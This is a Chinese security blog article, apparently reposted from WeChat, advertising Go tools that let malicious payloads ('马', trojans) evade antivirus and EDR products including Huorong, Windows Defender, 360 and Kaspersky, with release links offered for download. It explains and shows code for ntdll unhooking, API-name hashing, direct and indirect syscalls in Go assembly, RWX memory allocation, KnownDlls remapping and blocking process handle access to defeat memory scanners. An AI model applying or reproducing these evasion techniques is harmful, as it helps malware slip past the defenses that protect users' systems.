最新GoLang免杀过国内主流杀软及卡巴斯基
2023-6-20 08:1:31 Author: 李白你好(查看原文) 阅读量:101 收藏

宝子们现在只对常读和星标的公众号才展示大图推送,建议大家把李白你好设为星标”,否则可能就看不到了啦!本文免杀由qi4L师傅制作投稿,有技术方面的问题可联系VX:WXID-Nu1r。

0x01 效果图

火绒

Windows Defender

360

卡巴斯基

免杀效果嘎嘎牛逼!

0x02 下载链接

EDR绕过,由GoLang编写GoLangUnhooker
https://github.com/qi4L/GoLangUnhookerhttps://github.com/qi4L/GoLangUnhooker/releases/tag/v0.2
golang实现的回调函数加载器库GolangCallbackLoader
https://github.com/qi4L/GolangCallbackLoader
欢迎师傅们下载使用,别忘了点点小星星  stars

0x03 实现原理

假设Ntdll已经被挂钩, 取消挂钩 DLL 的过程如下:
  1. 将 ntdll.dll 的新副本从磁盘映射到进程内存
  2. 查找挂钩的 ntdll.dll 的 .text 部分的虚拟地址
    • 获取 ntdll.dll 基地址

    • 模块基址 + 模块的 .text 部分 VirtualAddress

  3. 查找新映射的 ntdll.dll 的 .text 部分的虚拟地址

  4. 获取挂钩模块的 .text 部分的原始内存保护

  5. 将 .text 部分从新映射的 dll 复制到原始(挂钩的)ntdll.dll 的虚拟地址(在第 3 步中找到)——这是取消挂钩的主要部分,因为所有挂钩的字节都被磁盘中的新字节覆盖

  6. 将原始内存保护应用到原始 ntdll.dll 的刚脱钩的 .text 部分

这个方法理论上可以应用于其他dll。

来自 BsidesCymru 2023 演讲 Needles Without the Thread

如果使用IDA或者x64debug之类的工具看自己编写的马,很容易发现,不论是API函数还是DLL,很轻松就可以找到。

那么就可以使用一些算法来让API函数与DLL,不是明文的出现在代码中(这里推荐 djb2)。

其次通过GetProcAddress的方式,来获取函数地址,然后指向函数指针,以这种方法可以规避一定的EDR产品。

我并没有归纳所有调用方式,但会给出一个示例:

dll1 = djb2md5.API(dll1)
funcAdd = djb2md5.API(funcAdd)
hNtdll, err1 := syscall.LoadLibrary(dll1)
if err1 != nil {
log.Fatal(err1, " LoadLibrary")
}
ret, err2 := syscall.GetProcAddress(hNtdll, funcAdd)
if err2 != nil {
log.Fatal(err2, " GetProcAddress")
}
addr, _, _ = syscall.SyscallN(GetProcAddressHash("6967162730562302977", "5569890453920123629"), uintptr(0), uintptr(len(pp1)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)

在最新的CS4.8也集成了这种调用方式,但那是开箱即用的,这很不好,对于杀软方很容易就可以打标。

且大多数 EDR 产品将在用户态下挂钩 win32 api 调用。

这里给出泛用的GO汇编示例:

from GO

// func Syscall(callid uint16, argh ...uintptr) (uint32, error, error)
TEXT ·WinApiSyscall(SB),NOSPLIT,$168-64
NO_LOCAL_POINTERS
CALL runtime·entersyscall<ABIInternal>(SB)
MOVQ trap+0(FP), BP // syscall entry
// copy args down
LEAQ a1+8(FP), SI
LEAQ sysargs-160(SP), DI
CLD
MOVSQ
MOVSQ
MOVSQ
SYSCALL
MOVQ AX, r1+32(FP)
MOVQ $0, r2+40(FP)
CMPL AX, $-1
JNE ok3

LEAQ errbuf-128(SP), AX
MOVQ AX, sysargs-160(SP)
MOVQ $128, sysargs1-152(SP)
MOVQ $SYS_ERRSTR, BP
SYSCALL
CALL runtime·exitsyscall(SB)
MOVQ sysargs-160(SP), AX
MOVQ AX, errbuf-168(SP)
CALL runtime·gostring(SB)
LEAQ str-160(SP), SI
JMP copyresult3

ok3: // 返回值
CALL runtime·exitsyscall(SB)
LEAQ ·emptystring(SB), SI

copyresult3: // 错误
LEAQ err+48(FP), DI

CLD
MOVSQ
MOVSQ

RET

from ScareCrow

TEXT ·Allocate(SB),$0-56
XORQ AX,AX
MOVW callid+0(FP), AX
MOVQ PHandle+8(FP), CX
MOVQ SP, DX
ADDQ $0x48, DX
MOVQ $0,(DX)
MOVQ ZeroBits+35(FP), R8
MOVQ SP, R9
ADDQ $40, R9
ADDQ $8,SP
MOVQ CX,R10
SYSCALL
SUBQ $8,SP
RET

//Shout out to C-Sto for helping me solve the issue of ... alot of this also based on https://golang.org/src/runtime/sys_windows_amd64.s
#define maxargs 8
//func Syscall(callid uint16, argh ...uintptr) (uint32, error)
TEXT ·NtProtectVirtualMemory(SB), $0-56
XORQ AX,AX
MOVW callid+0(FP), AX
PUSHQ CX
MOVQ argh_len+16(FP),CX
MOVQ argh_base+8(FP),SI
MOVQ 0x30(GS), DI
MOVL $0, 0x68(DI)
SUBQ $(maxargs*8), SP
MOVQ SP, DI
CLD
REP; MOVSQ
MOVQ SP, SI
SUBQ $8, SP
MOVQ 0(SI), CX
MOVQ 8(SI), DX
MOVQ 16(SI), R8
MOVQ 24(SI), R9
MOVQ CX, X0
MOVQ DX, X1
MOVQ R8, X2
MOVQ R9, X3
MOVQ CX, R10
SYSCALL
ADDQ $((maxargs+1)*8), SP
POPQ CX
MOVL AX, errcode+32(FP)
MOVQ 0x30(GS), DI
MOVL 0x68(DI), AX
MOVQ AX, err_itable+40(FP)
RET

缺点:汇编代码在 Windows 操作系统版本之间的某些点上是不同的,有时甚至在服务包/内置编号之间也是不同的。

通过函数地址 + syscall.SyscallN的方式来调用API,就是间接系统调用。

通过应用正确的函数调用,重新钩住被钩住的函数。

这个方法理论上可以应用于其他函数。

间接调用通常是结合使用 GetModuleHandle 和 GetProcAddress来解析系统调用的地址。另一种方式是在进程环境块(PEB)中手动定位NTDLL.dll,通过解析导出地址表(EAT)找到系统调用。

如果使用内存中已有的 NTDLL 基地址,这将不会绕过任何系统调用的 UM 挂钩。但是GO是不会自己把dll加载进去的,所以有效,但是要记得去卸载DLL。

KnownDlls是对象命名空间中的一个目录,其中包含进程加载的最常见 DLL 的部分对象。

存储在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs下。

它通过减少可执行文件的加载时间来提高性能,并且可以通过打开节名\KnownDlls\ntdll.dll将 NTDLL 的新副本映射到进程中。

重新加载之后,我们就相当于获取了一个未被hook的ntdll对象,就可以使用其中的syscall方法了。

有些产品不会挂钩 NtMapViewOfSectionEx,但这仅在 Windows 10 1803 之后可用。上面的代码把NtMapViewOfSection换成NtMapViewOfSectionEx。

一个简单的思路,延时 + RWX 更改为 X 或 RX ,来源

逆向DLL中的未公开的API,只要序列号没有函数名的,然后直接系统调用传参即可。这样的API很可能不在EDR的名单上可以过。

缺点:效果好成本也大,且实战环境多样,在win10 dll中找到的未公开API,win7 和 windows servse中很可能无。

阻止任何进程打开你的进程的句柄,只允许 SYTEM 打开你的进程的句柄,这样就可以避免远程内存扫描器

推一个unhook库,看函数名就知道集成了些unhook技巧。可以从磁盘或者内存中加载函数,但是系统调用自己去定义,他只定义了一部分系统调用,所有调用有些函数时候就会出现莫名其妙的错误。

  • 更新更多的EDR绕过技术

0x03 参考链接

  • https://roberreigada.github.io/posts/playing_with_an_edr/;

  • https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/;

  • https://github.com/am0nsec/HellsGate;

  • https://ethicalchaos.dev/2020/05/27/lets-create-an-edr-and-bypass-it-part-1/;

  • https://ethicalchaos.dev/2020/06/14/lets-create-an-edr-and-bypass-it-part-2/;

  • https://thewover.github.io/Dynamic-Invoke/;

  • https://j00ru.vexillium.org/syscalls/nt/64/;

  • https://0xdarkvortex.dev/hiding-in-plainsight/

  • https://github.com/TheD1rkMtr/BlockOpenHandle

0x04 往期精彩

某次授权的大型内网渗透测试

整理好的安全电子书合集


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247499333&idx=1&sn=349d06ddd81a5e329892006f885e2c3a&chksm=c09a8d15f7ed04037869cbabd05bd3e43c1acc25c55b7a57ab17da11354ff5e9c5a84e7f211a#rd
如有侵权请联系:admin#unsafe.sh